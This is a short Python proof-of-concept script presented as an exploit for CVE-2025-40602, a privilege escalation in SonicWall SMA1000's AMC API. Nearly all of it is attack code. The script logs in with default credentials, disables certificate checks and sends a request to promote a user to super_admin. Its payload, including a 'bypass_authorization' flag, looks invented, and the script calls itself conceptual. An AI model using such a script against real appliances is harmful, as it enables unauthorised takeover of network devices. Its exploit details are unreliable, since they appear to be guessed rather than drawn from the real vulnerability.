CVE-2025-40602

# CVE-2025-40602 PoC - SonicWall SMA1000 AMC Privilege Escalation # Note: This is a conceptual PoC. Actual exploitation requires authenticated access. import requests import json TARGET = "https://target-sonicwall-host" LOGIN_ENDPOINT = f"{TARGET}/api/v2/login" AMC_ENDPOINT = f"{TARGET}/api/v2/amc" # Authentication with high-privilege account def authenticate(username, password): session = requests.Session() payload = { "username": username, "password": password } response = session.post(LOGIN_ENDPOINT, json=payload, verify=False) if response.status_code == 200: return session, response.json().get('token') return None, None # Attempt privilege escalation via AMC API def exploit_privilege_escalation(session, token): headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Trigger the privilege escalation vulnerability # This exploits insufficient authorization check in AMC exploit_payload = { "action": "modify_user_role", "target_user": "target_user_to_escalate", "new_role": "super_admin", "bypass_authorization": True } response = session.post(AMC_ENDPOINT, json=exploit_payload, headers=headers, verify=False) if response.status_code == 200: result = response.json() if result.get('success'): print("[+] Privilege escalation successful!") print(f"[*] User role modified to super_admin") return True print("[-] Privilege escalation failed") return False # Main execution def main(): print("[*] CVE-2025-40602 SonicWall SMA1000 AMC Privilege Escalation") print("[*] Target: " + TARGET) # Authenticate with high-privilege account session, token = authenticate("admin", "password") if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Attempt exploitation exploit_privilege_escalation(session, token) if __name__ == "__main__": main() # Mitigation: Apply vendor patch SNWLID-2025-0019

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